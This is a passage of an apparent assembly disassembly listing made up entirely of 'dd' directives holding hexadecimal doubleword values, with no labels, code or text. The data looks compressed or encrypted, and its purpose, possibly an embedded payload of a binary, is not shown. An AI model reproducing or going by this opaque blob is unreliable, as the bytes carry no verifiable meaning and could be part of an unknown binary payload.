		dd 3F4A8BFDh, 1497F8A4h, 89254429h, 151D9516h, 1C11EF21h
		dd 7DF9602h, 45BDFA6h, 5641071Fh, 0F8277BBFh, 3FB05B4Dh
		dd 0EBC4C94Eh, 5DBD9C52h, 449FB1ECh, 0DF2009F2h, 7B5C1AFCh
		dd 543309E9h, 1A46D6F3h, 0BB399F13h, 0CC05D125h, 63650595h
		dd 1CE56904h, 0B2D24EB9h, 0BF62892Dh, 0E72B121Bh, 116A5F44h
		dd 0F9C62113h, 0FEAEE8E6h, 5BD21272h, 0D631E243h, 1FDD1C80h
		dd 85324BE9h, 3EFF8D2Ah, 7B3847A6h, 91F47700h, 0E781C76Eh
		dd 7606641Fh, 0C18B5FC5h, 12CC6EEAh, 0DE39EC9h,	562CE45Fh
		dd 5726CA9Dh, 39DA1F8Bh, 0E021CDB7h, 92A510A3h,	1641DD0Bh
		dd 2BFC431h, 0ADBA1540h, 0DDD949A7h, 47A0DD07h,	3252A980h
		dd 1D5B7879h, 85DF8355h, 0BD6AF40Eh, 80BCAEh, 5B5961AAh
		dd 3C88BFC0h, 82718428h, 0DB9F5475h, 0B819D0E3h, 78C0832Eh
		dd 63A000F4h, 0DADFCE2Ch, 300E46F3h, 579D89BAh,	50FC7540h
		dd 2F4D63BFh, 9B730670h, 2DDF2AD8h, 2B71DD06h, 55C78006h
		dd 0F9F85F0Ah, 9D7DADB8h, 644E7082h, 0F093DFCh,	0B1EC593Ah
		dd 14DD2h, 171698BFh, 0F8FF772Dh, 0BEDEC0F8h, 412A3F7h
		dd 95314A8Ch, 5B4EA09Dh, 6AFEFB97h, 9902DCF0h, 6A52F380h
		dd 0E00BCD02h, 1A752DBAh, 10F14B05h, 3D809063h,	9950FF33h
		dd 0DF9B8BBCh, 64FD9200h, 2C04D84Fh, 909FE06Dh,	72C0639Bh
		dd 9469FAA1h, 0A584345Bh, 0EA39B782h, 0F135D5BDh, 4C891491h
		dd 31BE04FFh, 0ABEAE904h, 415E3F38h, 0FCF48B84h, 0B943B79Ch
		dd 0C902B00h, 2E48D0B6h, 0E0DDA04Ah, 0BA81839h,	0A5F467E0h
		dd 0BFD61401h, 155A7602h, 0B884132Eh, 65DB8027h, 0E443C822h
		dd 280B007Ah, 0FB2EA594h, 0FD040AB9h, 5F507036h, 0FB6884BAh
		dd 0D9E2B117h, 0C788BC4Fh, 70E9D0CCh, 0AFE391A6h, 0FF4068F6h
		dd 408C6AAh, 6B1D7E5Dh,	6BA2FEh, 0F6F5E6BCh, 4440AB6h
		dd 5F5B519Eh, 0E024B690h, 0BC2DDEDh, 3DAA6492h,	5C524B5Ch
		dd 9C00D464h, 9C1E766h,	4B4795E4h, 3F5D99C4h, 2401A2F2h
		dd 0E6B70A9Bh, 60886BCEh, 2D5F28Fh, 820D5D91h, 78C0AF7Bh
		dd 71F9F7E2h, 0B3F67F79h, 88716A3h, 89A6AC60h, 90ED5AB5h
		dd 0BC1BD58h, 0AD966695h, 538260F0h, 7D0BDCCCh,	824D4B96h
		dd 5D2B1965h, 0AA45124Fh, 133E8881h, 28252B6Ch,	4C08B0C5h
		dd 85090701h, 1344FB1Dh, 0BAA80DD2h, 94EDB02h, 95167h
		dd 0E4C1B3B9h, 0D98B2571h, 126B8C8h, 0BFCCBFh, 7B2E251Eh
		dd 886E188Bh, 0D40D0425h, 0C65652B6h, 3440B32Eh, 9A5C25h
		dd 60BDBF3Bh, 5FFC5A7Ch, 57D11197h, 4DEA817Eh, 4E961531h
		dd 2E125BAh, 0B561035Ch, 0B30C15E5h, 0C85C2B71h, 2C0122FCh
		dd 384709F5h, 0D10B8B40h, 0F7E59D33h, 92F45429h, 1153650h
		dd 0C546EE50h, 0C451E804h, 0FF0EDDF8h, 13BD858Bh, 0FA8087B9h
		dd 28C1A416h, 0D6B7A00h, 0FB1039D0h, 9D810ACBh,	80162FD5h
		dd 0E7562602h, 4C0113B1h, 62B365D2h, 48F0CC7Dh,	0C0224B54h
		dd 2D952915h, 14222FE3h, 91095EF8h, 0A5A04B24h,	7A73E9EEh
		dd 48395800h
		dd 37CF7F1h, 327B8700h,	9978FFE8h, 0E94318D5h, 10BF2B41h
		dd 45476A17h, 52234BFh,	0B41ABDB3h, 204B9189h, 882117D8h
		dd 0BA7CD380h, 0FE1EA550h, 0B056E6B5h, 819684FAh, 5ED25DD5h
		dd 0F4C85012h, 0E898EA5Dh, 10AD4CACh, 0CCFB33C0h, 7E007C64h
		dd 0D5C7BE2Eh, 3060DCE1h, 0BB6222A5h, 6F25C1B1h, 9819E677h
		dd 128D2D53h, 523329B0h, 96D0C402h, 5780A040h, 331EC04h
		dd 4C3FB95Bh, 85135B2Bh, 0F354AADFh, 0DFDB4A9Bh, 4E0D80DCh
		dd 8F52941Fh, 544060BEh, 4144A5Eh, 98CAEC4Dh, 0C6CCAEC9h
		dd 60EF2780h, 0B870A758h, 629A6F97h, 1C60F82Ah,	0E8722B4Eh
		dd 0DF81D200h, 3ECAACD4h, 1B86380Fh, 58BA65Bh, 564207F2h
		dd 3B9F39EEh, 3DC8BAC7h, 0D3C8B64Ah, 2AA8BCA9h,	98405E00h
		dd 92A0E23Fh, 0CBAEDD0Ah, 27C056C7h, 3D9D2E5Dh,	228E090Bh
		dd 9F090F09h, 2BC3CA54h, 16FEEDBDh, 3CC9B2D8h, 781700CCh
		dd 3750B4C1h, 0C6CD00DFh, 10073029h, 5F5AD039h,	0BD012E30h
		dd 0DD2AFD79h, 0FBE5DBC1h, 0C1A88E52h, 232C60ACh, 25202A95h
		dd 90256920h, 0DA8153DFh, 0B4001222h, 8ED918ACh, 0EC45A44Ah
		dd 0DB7F00D8h, 2617A52Fh, 8B9D8891h, 599756B9h,	0E3801028h
		dd 8AB87037h, 4B0056E4h, 0FCE0D4CCh, 9CA9805h, 9E2703DCh
		dd 0B5D730D5h, 25224241h, 115DC5F9h, 0F88B13D3h, 0B2D2DFECh
		dd 2BD98D4Ch, 4C66E2Bh,	3270DD7Bh, 3D1301FCh, 9F38AA22h
		dd 81578A70h, 60854194h, 47B82079h, 13B49A07h, 6A64CB01h
		dd 5CA1E382h, 164D2D30h, 2B4F4DC0h, 504B0EDBh, 0C82C784h
		dd 545C02B7h, 8058B727h, 0A5F8092Dh, 0B32747CAh, 2EE60450h
		dd 87BB5B01h, 2E59D1EFh, 0A0F26048h, 4A4FFA91h,	53B38C27h
		dd 0FAC38009h, 0A543715Fh, 0C0C4DC11h, 66162426h, 45A616FFh
		dd 20AD9D1Ch, 9BB5F40h,	320EA0D2h, 9C07087Fh, 68DB0AB0h
		dd 4A91E6A5h, 8947A0D7h, 94560244h, 409C2EC3h, 0DC969443h
		dd 16CDAF01h, 1FB35955h, 0F158852Ah, 8D28D4C0h,	7AA621E5h
		dd 5CC94D28h, 0F8B56C85h, 0BC05AAE3h, 0B8733332h, 89F912BFh
		dd 0ADFC5AA9h, 72DDF92Ch, 83BF2160h, 0A661609h,	2C7FA494h
		dd 77E95B80h, 9222B57Fh, 0E10923C1h, 9B6B04C9h,	0C01BC85Ch
		dd 0C08A452Eh, 1331E609h, 4B0E70CCh, 20628DDEh,	285A2514h
		dd 0B7124DE7h, 1012E7F4h, 0F5892D9Dh, 64F82C18h, 65139800h
		dd 0B509CBEAh, 0E916692Dh, 950F035Bh, 31CBD05Dh, 10E8384h
		dd 5052B796h, 0DCB4DCD2h, 0CAF7504h, 25823A87h,	10111116h
		dd 53AB89h, 40B1A247h, 6D1D20F5h, 0AC1EA77Ch, 56E5621Fh
		dd 0FC3C7B97h, 34BCCA0Dh, 1ADA2E4h, 24B435EEh, 163A8D4Ch
		dd 1FEC0h, 31388C78h, 0D4C86F0Dh, 0D1DBBF50h, 0ACCEFB00h
		dd 3E2B42DAh, 5EB8EA4Ch, 202FCDBh, 0B466EEBFh, 85859236h
		dd 57FE585Dh, 0E044B760h, 1151033h, 47DBD7CAh, 2022E07Ah
		dd 3BE9995Ah, 44E8CCC8h, 0CA01DC08h, 0BCAB1468h, 66C8EA5Fh
		dd 82691DB8h, 92BE4761h, 83DC5B7Bh, 0DB99DB44h,	2FF3ED60h
		dd 6DE6125h, 8419B5DEh,	16A89289h, 0FF1A6ACh, 0EC20458Ah
		dd 0F997808Eh, 10126C7h, 3B035060h, 0DC48E3A6h,	94955F61h
		dd 39206BA1h, 2C509857h, 6B8B001Ch, 77D0CB9Ch, 1404B544h
		dd 615376A6h, 318F3AB8h, 3B039D84h, 0C42BEB5h, 401798Dh
		dd 2812FB03h, 58E172A8h, 9FCD0504h, 96FBFC02h, 44227A5h
		dd 0FF4043CFh, 13233E3h, 0CFBB7630h, 3B6AE8A9h,	0EB810731h
		dd 4AB0AADCh, 347EB75Ch, 53ACB7DDh, 6CDBECD9h, 0A3894AB8h
		dd 35F6F2Bh, 0AFB8943Dh, 0FC43F389h, 15B809AFh,	0B7AC9655h
		dd 0C1001C35h, 0EA65C71h, 0B428262Bh, 96508ABh,	0BF669601h
		dd 0A36E5AB8h, 3C100E2h, 61685D3Ah, 0C7514996h,	2ED5F25h
		dd 52611564h, 6E742EFAh, 301E86Bh, 0AA18874Ah, 0DC08A29h
		dd 46DCC3DFh, 8D1C1C18h, 5492DA8Ch, 0B6D74A1Fh,	7AD54A9Ch
		dd 0C0E49BEEh, 0ED667270h, 86940433h, 844B423Ah, 7140AA30h
		dd 5D1AF381h, 0A63B4EF2h, 0E5BD0B0Dh, 49CC5626h, 0BB2FAEA5h
		dd 0CAB6A367h, 0BBA600AEh, 820E1F68h, 8D02B3BEh, 26A3AB39h
		dd 1F19D195h, 46BF80D6h, 0F13B84C4h, 0F90ED698h, 0C11E63CAh
		dd 0A6878897h, 7F22A53Ah, 4A869EDBh, 1145AC8Bh,	1883362Bh
		dd 0C5161925h, 71DBAD7Dh, 5A23250h, 870840EEh, 20A36Ah
		dd 0F41753FBh, 9557CBF1h, 0E59F1546h, 85DF50AAh, 4EE94A2Ch
		dd 7D5E1C09h, 1891DA35h, 0F58A4880h, 4BDEEE2h, 84F62200h
		dd 5E9E7B00h, 0DC03236Ch, 84824A5Ah, 5290775Bh,	2700C38Eh
		dd 5350C9DEh, 0BF5A5760h, 24347C40h, 3F7895BBh,	6C4513C0h
		dd 80F3BCB0h, 0F08CA09Ch, 468E259Dh, 1D59855Bh,	0B9006818h
		dd 6C55BBE9h, 42824E0h,	0C9BD0BC7h, 0F6DDAA2Bh,	109D216Ah
		dd 8519E801h, 80FDC40Fh, 0F8FCE0A8h, 43AD4DEh, 10D3E718h
		dd 0A2ECB875h, 59E42923h, 0C400ACE0h, 0FB7BBEFAh, 6F52B4h
		dd 0B6405C8Bh, 4DBD29ECh, 0ACC274Eh, 0EE89BD57h, 0B0408D3Ah
		dd 5B953169h, 8DADBC88h, 6EBB64E8h, 548FE612h, 0D1CAF2ADh
		dd 0B25BA5FAh, 137DB505h, 9F6C2BABh, 0F3A47801h, 282E76E8h
		dd 2AD666D1h, 7B6FFAh, 8964C7D7h, 0B7BD09D3h, 0E0818F69h
		dd 0B1255FB7h, 0B3E1CE0Eh, 87DC5AE5h, 0B03D908h, 4BF1810Fh
		dd 0F0804BBEh, 4E3DB509h, 0B4A0A90Dh, 0DEA042F6h, 0BE5AE993h
		dd 0A75B8DB1h, 0A0217AC0h, 0B0C2AEDBh, 0B7C18BF8h, 0E21E80E5h
		dd 0AD7C09C9h, 0A15A1898h, 96908FB2h, 882D8912h, 2317BFC9h
		dd 5EE5CC95h, 2D8A896Ah, 2EFBB864h, 8FC3861h, 8005020Dh
		dd 0A380EAE3h, 0B46AE183h, 7E00DE04h, 8F6B4CDAh, 7B02DF81h
		dd 4C1B6C2Eh, 942507E2h, 0DE60D6EBh, 89B46C02h,	0F20AF59Dh
		dd 258AE6ECh, 429150FEh, 0B5EAFDEh, 0BEB5F277h,	0F00DEB9h
		dd 0B43DDDD6h, 6BE3C92Ch, 297F5895h, 59D35BCBh,	248181Ah
		dd 0BFBACFD8h, 0D25C1162h, 31D98B60h, 1E125B5h,	19F9B059h
		dd 38011D18h, 4BF913CCh, 282E5F51h, 12E182DFh, 0E0E6CD02h
		dd 324864A8h, 75F08725h, 0BDA97193h, 901D3421h,	1A22505Ah
		dd 0D4405798h, 0A5033539h, 5B523DE5h, 9050895Fh, 80EADB2Bh
		dd 9FD631D3h, 4F4E093Dh, 41DCA9A2h, 32E3790Bh, 0CF1F4h
		dd 9416EA5Eh, 0D54862DBh, 834B7ECEh, 1110B38Eh,	598B2D94h
		dd 0AF7E25B9h, 281908h,	0B0C0C681h, 614B6BF0h, 1BC89F9Ah
		dd 6B4803C0h, 3DBF0BBBh, 987FB2AEh, 4719DEh, 82C0558h
		dd 0F2633E73h, 0D2CB5602h, 5F0468DAh, 0FC867AE0h, 241666DEh
		dd 0D000F26Fh, 2067AE5h, 7001AB38h, 8529A430h, 0AD040F31h
		dd 228E906Ch, 4EBA9575h, 56685D00h, 5E019FE1h, 9E573523h
		dd 0A03AE002h, 1326925Eh, 0C6021D27h, 5C654E5Ah, 1353524Bh
		dd 1659F650h, 0A83C6992h, 0CF012518h, 0B65CC047h, 73058EE0h
		dd 8BE927E4h, 0B95B45BCh, 7DDC507Ch, 298A254Bh,	0F5285922h
		dd 0FE1297B0h, 168870E6h, 619A1C42h, 2206C1A9h,	328D01ABh
		dd 0E45B0937h, 81DA8471h, 3CBEBF40h, 24976F4Ch,	4522933h
		dd 120BA593h, 9FF521B0h, 0BB84E3F9h, 0E0167E3Ah, 314B1E12h
		dd 60520A81h, 13E5086Fh, 0BDB50303h, 610C1208h,	9ECAD5Bh
		dd 5D4ED0BBh, 0A2C2BE1Ah, 541B297Fh, 161188F9h,	0D3E449h
		dd 0F18ADC43h, 0FE373901h, 0A9720500h, 18E57E75h, 0E9982578h
		dd 5360DB21h, 1E914C58h, 247C4078h, 4E2D1D06h, 17C4615Eh
		dd 1E2EE8DBh, 75311955h
		dd 4A2772BDh, 38B30AC1h, 621A8A2Bh, 0D223B528h,	0D9A72559h
		dd 131915C9h, 0B5CE1160h, 89BD180Ah, 67E9615Bh,	0CB23276Eh
		dd 749521D2h, 0F43E4D32h, 0FC02041h, 3782B6BBh,	590BD55h
		dd 0FD0EBE24h, 5FF2C2h,	0EFDA336Bh, 832D0030h, 0FB7A1837h
		dd 0FDB05B15h, 0C4D88B25h, 892F4428h, 5897955Ah, 3F00A5F5h
		dd 0BE6660FEh, 0B58E0DF5h, 82A6164h, 884F0F93h,	81DEE530h
		dd 0A46339E3h, 36CC2F25h, 0D4FF5527h, 9295F42Eh, 698704EEh
		dd 4922CACh, 0AAD63E55h, 17C8F4DAh, 0C05436C0h,	95D7A040h
		dd 2DB98012h, 9DA4074Eh, 340B97DAh, 97DCFC5Eh, 666C9956h
		dd 0FC324045h, 95EB31Eh, 0FF2C8D4Bh, 33242237h,	540C0EE1h
		dd 242C35D4h, 11CB23D8h, 0D22B1EA1h, 0A36A9D5Eh, 0FB8BA7FDh
		dd 8BB68D9h, 561207E1h,	8156CCh, 91F78FD3h, 880D5B71h
		dd 6B1E4F9Fh, 8A4EA177h, 0E62E8541h, 3214B23Ch,	9758407Fh
		dd 0F19B950Fh, 49A11413h, 0C8ED2EAAh, 484DC01Ch, 0F4955C05h
		dd 52BF81A9h, 0D45EE830h, 2617B395h, 12AB5754h,	0A8D22439h
		dd 5B78A3F6h, 80809B57h, 0CEBCACD8h, 141E042Fh,	0E2E902B1h
		dd 80E338A6h, 73F4C9B7h, 9E469EAh, 4FE21CF5h, 74F1BC80h
		dd 794AE1E8h, 9D84A1ADh, 95DBAA05h, 0C2CC17C8h,	0FF2F177Ch
		dd 0A035BBE1h, 46B2B412h, 0B9047A84h, 72F78073h, 16B01B3h
		dd 65DC54E2h, 2E6FCADDh, 0D7774F28h, 5F6FBA3Ch,	0A530D704h
		dd 0A148B872h, 0F72F0415h, 0DFA3A040h, 1F392859h, 5BE962ACh
		dd 64778956h, 605B2451h, 8500DE41h, 0FEEF888Fh,	4BFC568Dh
		dd 0DE8B323h, 785FF951h, 0C128D52Fh, 2E191F77h,	0BCB88315h
		dd 0F88A2525h, 0FE44CF56h, 3D254DB9h, 0E773DDDh, 0DE41B512h
		dd 2E176A4Eh, 0FE254709h, 2954EBADh, 9F34B5E9h,	0F0CBC4FFh
		dd 8E1D0A42h, 0E3BB9081h, 50F04C5Bh, 6481FBFh, 0D650FE58h
		dd 300E41EDh, 2551D58Dh, 0DA10BC3Fh, 50F013A8h,	299556B3h
		dd 92A2DDF9h, 0F70B5C6Eh, 5BF2839Bh, 0AA356275h, 8749AB8Eh
		dd 0CDC9D849h, 0E2D4C1E3h, 0C5DA2A17h, 0F7C018C8h, 4AB61353h
		dd 3890F24Dh, 9FBC806Bh, 0B9FA5143h, 0E3480BEBh, 0D464674Ah
		dd 80420100h, 3A3F2007h, 1EDD02D1h, 5BBE817Ah, 8B68B65Ch
		dd 0E917CF01h, 142D01E2h, 5E08F510h, 3F4C14A2h,	0E9DCB802h
		dd 0D64093A0h, 4097559Ch, 4BB170A9h, 93988D5Fh,	2E84A162h
		dd 0D5C477ADh, 92302912h, 0B6045A1Dh, 301DF219h, 93002860h
		dd 5C26A84Bh, 80D7C1EDh, 0A1219531h, 9F7B4B08h,	9BBB570h
		dd 6CFA47BFh, 1EBCA770h, 0BE715340h, 959E0EA0h,	0D1E29CB9h
		dd 1A77CBCAh, 0F8EFE024h, 965B2708h, 1FE7BF10h,	0B1CAF71Fh
		dd 0E433BD85h, 0D15F8DFAh, 5AF055Bh, 0BD96DA5Fh, 1264B872h
		dd 847A5A9Dh, 93BDAC2Ch, 3856FABh, 1D071372h, 5B960957h
		dd 0CB16DE8Ah, 0BA200DB0h, 0BF47C776h, 8A6F373h, 2462EACDh
		dd 0C9DE4689h, 84D76004h, 1F20E817h, 590AEBF8h,	8C1603FDh
		dd 15B722B1h, 81870CBBh, 44B89DC3h, 0ACD1B930h,	962E8C15h
		dd 0B511F547h, 14E45027h, 814D9300h, 7CAB548Fh,	5A13AF7h
		dd 628A6F85h, 2D0DB1EEh, 819B4EF7h, 2DEC9E81h, 0A384CC47h
		dd 3BBF4913h, 9D033060h, 610DC0F9h, 0AD8D89F5h,	70B60E5Ah
		dd 0A2A2E6D3h, 6A6AC046h, 15AD2450h, 91109E8h, 7272035Ch
		dd 6E4DBD3Eh, 1AD546C0h, 52C44C2Bh, 0E95CB004h,	0C59CBA27h
		dd 1D830233h, 0BC9867DEh, 0C075ED5Ch, 0F543BF51h, 5B7B8213h
		dd 56E017A6h, 0EF013682h, 0F0DEBC1Ch, 282FE37Fh, 3BE9B50Ah
		dd 0EF18E863h, 0B0DEFCE0h, 0CDAA0A54h, 59DEF9E3h, 263BBB98h
		dd 0CF4A4D8Fh, 80175320h, 0BEF6B5F3h, 713116B2h, 8A2BCBF1h
		dd 0DB00A459h, 0EB80DE3h, 0A99C4EC5h, 30D7C2D7h, 4B3857C8h
		dd 808A2D41h, 89AAF032h, 76EDBD34h, 0C5BF3AE0h,	1D3D2B11h
		dd 3CD0278Dh, 45E70F4Ah, 0F2E15125h, 3057495Fh,	0B3BA6DC0h
		dd 9E999E95h, 356F40D9h, 8B00887Bh, 0B6081977h,	41361A4h
		dd 89EDB43Ch, 3AE9A28Ah, 0C63E8098h, 26C0CA44h,	14FE0964h
		dd 5CE5BD1h, 3A9B5B7h, 3A5846CBh, 2E1EFAE9h, 1C1DAC21h
		dd 2050BF8Bh, 15003444h, 315B180Eh, 0A49B4Eh, 0F058ACF4h
		dd 0C3CD0A29h, 4AAD6C4Ah, 0B58C19ACh, 7B046050h, 8B535963h
		dd 0CE989FE8h, 4FB5B886h, 7F82606Fh, 2E0B4145h,	70CA2C5Fh
		dd 8AFF0953h, 0BD7D61C1h, 0F0C909FBh, 0EC67835Dh, 40B67949h
		dd 0EC8612Dh, 3AFEA5EDh, 0D8050355h, 0B9DC73E2h, 8C19ACB5h
		dd 9F38AE73h, 894F7CBDh, 96125CA2h, 7C8AA50h, 0B7617AF0h
		dd 6E09B6CCh, 0FF47F6A2h, 2A0966B8h, 4004CFBFh,	6D16D5AAh
		dd 84BA3212h, 498859E2h, 0B9DF8086h, 0BF5202A8h, 427946D2h
		dd 0B85624E1h, 306445A8h, 9F86FA50h, 96124273h,	0EE061A6h
		dd 0AB1625DDh, 8F86B94Fh, 0ABD84C50h, 0AA2F0BABh, 490182D6h
		dd 0E99D5C2Eh, 86F0079Bh, 9EF4D2ACh, 723EA005h,	40249374h
		dd 16AB09EFh, 0CD699671h, 0A29A4099h, 0D91C7A06h, 5EC9C838h
		dd 449A71B5h, 717C582Eh, 0BC53952Ch, 1F8F1ADh, 5264BA92h
		dd 0BB0A55FFh, 0C22B1E89h, 5B0703BCh, 0DA34C695h, 0B6F462ACh
		dd 710BA3CAh, 0E9124068h, 67859E4Bh, 0C0B29BFFh, 254A6968h
		dd 705D0B92h, 18FDC18Bh, 779D2B15h, 4C3A97D9h, 0F7A81213h
		dd 0D60B3DA2h, 0FF53502Ah, 0C76DE419h, 126788F8h, 5BE7A818h
		dd 95048902h, 5DC6856h,	2C3B319Eh, 7549EA66h, 782DFB6Ah
		dd 8C0B7FF3h, 70828E01h, 10BD950Ch, 2F507C00h, 158EA80h
		dd 66A473CEh, 40D3B9BBh, 0EBA39A9Ch, 0E0306DB7h, 0E6EBBF79h
		dd 57223A0Bh, 6C107D89h, 68BFC083h, 0DD50908Eh,	886012C4h
		dd 33057459h, 4B64B98Dh, 0F2560BAFh, 5AF41829h,	0ED4B0E10h
		dd 31139F1Bh, 0FD18634h, 1C700982h, 0A5FA9435h,	94DE7A66h
		dd 74AA3256h, 0E076B609h, 95D1FF7Eh, 63CA3C4Dh,	6DE2B212h
		dd 7E24A88Dh, 8EF03AA6h, 1B4ED380h, 898B0DE9h, 6A5949FEh
		dd 0A4BF2C30h, 3B1244C5h, 0EB3CB800h, 687DA6EDh, 0F99C0081h
		dd 263002CEh, 0D50942D4h, 37905061h, 0FA6D808Dh, 0BD6EE7ADh
		dd 0E3A09917h, 8E29DC30h, 9F76001Ah, 158139Dh, 0EA021BA2h
		dd 0B531B021h, 9592CCFFh, 47BE84E0h, 3EB65F5Bh,	81048010h
		dd 0E97EC6BBh, 1E9CD5F6h, 0B4A3A420h, 4909DCD4h, 714CB8EBh
		dd 0BD298B9Eh, 5080A1D5h, 253584B3h, 2D76E3Bh, 197E4175h
		dd 224E55B1h, 7F431044h, 9879004Dh, 0F0A8E50Eh,	5104C459h
		dd 0D71F07F5h, 882A9BAAh, 10C2C01Dh, 91E8822Ah,	63C7AC09h
		dd 9E7472C5h, 28B0F44Ah, 45665A00h, 0E01170B2h,	0FF6A0013h
		dd 0E28FF381h, 0BCB079F1h, 5B31DD25h, 0F16BD0F2h, 71C0305Ch
		dd 0C472568Ah, 0F1A0572Dh, 0B00A2561h, 2B406752h, 0BF7000E6h
		dd 7A5237FFh, 810271E4h, 0ADC492C7h, 91665C5Ah,	0FA8B1209h
		dd 7C7862E1h, 29027180h, 0D007494h, 0B98AB433h,	1FDE05Bh
		dd 14A69284h, 2EA2A999h, 9D337A20h, 0B5175A01h,	2D80425Ch
		dd 5B4BD8F2h, 6EA27F85h, 1F80A83Ah, 0CB883B5Dh,	4109B2DCh
		dd 709B441Dh, 0BF80481h, 0B82F05BDh, 0B1089E78h, 470E642Dh
		dd 0CA00F8BEh, 15FA454h, 0FC23D702h, 33D87CFEh,	7CA84A15h
		dd 0B0C381F0h, 5E10B517h, 0EC55104h, 0F25C8DAAh, 204B0B20h
		dd 0CC030093h, 609ADBECh, 0E30D1673h, 307B14B8h, 554DC37Bh
		dd 73D2F94Ah, 0C04E5F22h, 0D8F7BD00h, 0C4425D04h, 82F1B0C0h
		dd 0C62BFDA1h, 38E97502h
		dd 59433D5Ch, 0AFFB4B32h, 0AE044B56h, 62AB21A5h, 66261D80h
		dd 0F7673FDAh, 31AA528h, 714BBFFEh, 58404ABAh, 3397FC77h
		dd 0EB088146h, 0CA29DB2Fh, 0A160F5B8h, 0EC6290h, 91DE411h
		dd 84200608h, 0BD2B9705h, 66081C65h, 9369AF25h,	59302EF8h
		dd 0B2DD9D8Bh, 3CB92E94h, 0A5FA487h, 44822F89h,	0B1638CFCh
		dd 3347B0Fh, 5910E03Fh,	0F53C2A4h, 0B61DEB0Ch, 0C361514Eh
		dd 0F1E9BF4Fh, 20FCF9CFh, 1540B9BCh, 0BAC0252Bh, 2A0964FBh
		dd 4A01736Eh, 0FA1A1282h, 8CC38FDBh, 1FB0A496h,	1E909DA1h
		dd 0C27A0245h, 42D5B796h, 896F5714h, 88460867h,	3C92DACh
		dd 8982F153h, 55064DB5h, 7C25F93Bh, 0E907C5FFh,	5CD4C674h
		dd 10C2AF2Bh, 0F140AEDAh, 5098BB43h, 5DCBCBCh, 0CEA843E8h
		dd 4A4BE803h, 5E381ECAh, 0A4B2F75Bh, 475E73AEh,	4559B8DAh
		dd 9E181CF9h, 8660A701h, 4CDFF07Eh, 6C235CD2h, 0FF01F9C8h
		dd 50C4BFE1h, 282E4818h, 75D3DD04h, 3A9C4C01h, 207A36D5h
		dd 5F011F65h, 0C8B95912h, 0DA8904E2h, 4F65356h,	0ABDF6576h
		dd 0A305B859h, 27BA477h, 0E3EC9401h, 820C60CEh,	0F8724A77h
		dd 27EF090Ch, 9EC95867h, 0F863424Eh, 80F77B57h,	24355E59h
		dd 8995C5AFh, 0E33755C1h, 0BB012E1Dh, 3643FC90h, 2BE0482Bh
		dd 910922A4h, 79525316h, 1181Dh, 9F403BD5h, 0F947B0E7h
		dd 3E869758h, 9BFC031h,	75DE688h, 60A5EE59h, 957DCF32h
		dd 33409276h, 248676h, 1493A346h, 85619E54h, 0B660500Bh
		dd 1ECF19Fh, 2E645665h,	0C4D97BC4h, 23B887D1h, 90615F0Bh
		dd 3B921137h, 0FDF8EC57h, 0A48030C9h, 685BD66Bh, 4138F90Bh
		dd 1DD0E4B3h, 0C0190454h, 0D1FBC6AFh, 0C23B342Ch, 5C3C00C3h
		dd 1977EDBBh, 0AEC8BF41h, 0DD4BCB06h, 5F61F3F0h, 0F25EE62Dh
		dd 5AF43217h, 29B5298Eh, 0B93BD513h, 0BD03D80Bh, 8EA5D621h
		dd 0EA120173h, 581F836Fh, 0B14DD263h, 50F73FCEh, 601899B1h
		dd 24A0DFAh, 1266EBDCh,	0B3B874BBh, 0C09E58E9h,	7EF273Ah
		dd 0C1A60079h, 0F460C5DAh, 0BB772858h, 3546712h, 0EA43FAB3h
		dd 0BCDD8F02h, 47FFB89h, 0B2102521h, 0DE320626h, 36DC2F04h
		dd 5DB81751h, 0ABFB8012h, 1723D16Bh, 0B79EF203h, 0C051B29Ah
		dd 812B7182h, 0D5CC65Fh, 31C19617h, 0CDDA1E7Ah,	0A578E219h
		dd 9549BCE0h, 39610A09h, 9FDC5957h, 25842E09h, 570488C7h
		dd 825505Fh, 0B38F02C5h, 0A0319C89h, 8C621868h,	0E2C08848h
		dd 177FC4CFh, 8EDB4000h, 0F2E84F74h, 2A7505BDh,	8589AB5h
		dd 46A585D1h, 2D017BB5h, 33CB21ADh, 1971C294h, 8B85A945h
		dd 6EAF61DEh, 205D0069h, 8F9A98B5h, 81781357h, 0A002AFF8h
		dd 56135A0Eh, 5B825A80h, 87D9E90Fh, 6570A600h, 4425529h
		dd 0D98B9A8Ch, 0A38EA80Fh, 0D70B8730h, 5A94A9B7h, 7BAB24B5h
		dd 24E9DA06h, 9D01121Fh, 53FC4261h, 9DFF5BF8h, 959D78C5h
		dd 2D602F5Eh, 6EB957h, 3326C5Fh, 74C2375Dh, 2561B7B7h
		dd 0AA073BDCh, 16F7F9Eh, 19432448h, 583827Ah, 27889C55h
		dd 896F040Eh, 0B8DB5A40h, 863F165Ch, 48A6B663h,	0C72A2518h
		dd 69D3197Ah, 0CA55F60Bh, 5295FD82h, 2A7E6040h,	0CE5F0280h
		dd 32ECD508h, 0ED49BC89h, 0F3DD829h, 0BDAC6E95h, 0B4CC790h
		dd 2F31EA01h, 0F39DBFDBh, 177609C4h, 0C40AEE8Ch, 829AA93Ch
		dd 565D33BBh, 8F446999h, 81A6B900h, 42C0C632h, 0C310089h
		dd 0D24675E1h, 0CD0B39C7h, 0E2A7C270h, 40EADCABh, 9417F361h
		dd 4A8DAA05h, 0D9FACBE1h, 0B4DC0509h, 719D5155h, 965F8AE5h
		dd 0A700DE9Eh, 69EC9A8Fh, 2CFD0DC6h, 2FBA44AFh,	0CF8A0152h
		dd 694D4FF5h, 8F494057h, 6153B5ABh, 5CDB5Ah, 2BA31E64h
		dd 3B13352Fh, 44109DE0h, 0D5F9B2D1h, 0B779384Ch, 0E1121B97h
		dd 0CA6F659Dh, 8D3104C4h, 25AB1469h, 59478180h,	2050112Fh
		dd 0C8EE9DCDh, 25BD3363h, 395B1B11h, 0D477C3ADh, 5A392DABh
		dd 0F7BCD3B8h, 288E4705h, 3D128301h, 0EAA324A5h, 32D0899Bh
		dd 0FB0A87C0h, 5F096D05h, 5B7AB755h, 181B597Ch,	36AF013Fh
		dd 0DAAED532h, 813928DCh, 0BF28ACE4h, 0EA6FBE83h, 0BBB590Dh
		dd 2E26CDC9h, 0F2141612h, 0C041CF8Fh, 0A46A3D63h, 0F1C625E5h
		dd 895C47E2h, 0DBF03DCh, 5560ACDCh, 8352FBBCh, 7A6E67C5h
		dd 7A271B23h, 0E38E09E8h, 47854AF0h, 0A8EB84B9h, 17EDA5DEh
		dd 0E90085A8h, 0BF7CB3FFh, 17DF1734h, 5235BD29h, 90E6A224h
		dd 3926664Eh, 60960E87h, 0B563CA8Ah, 0D18D61DAh, 0F93F67C2h
		dd 2744968Bh, 0B8A0DDACh, 82E5720h, 1B60813Bh, 22B05Ch
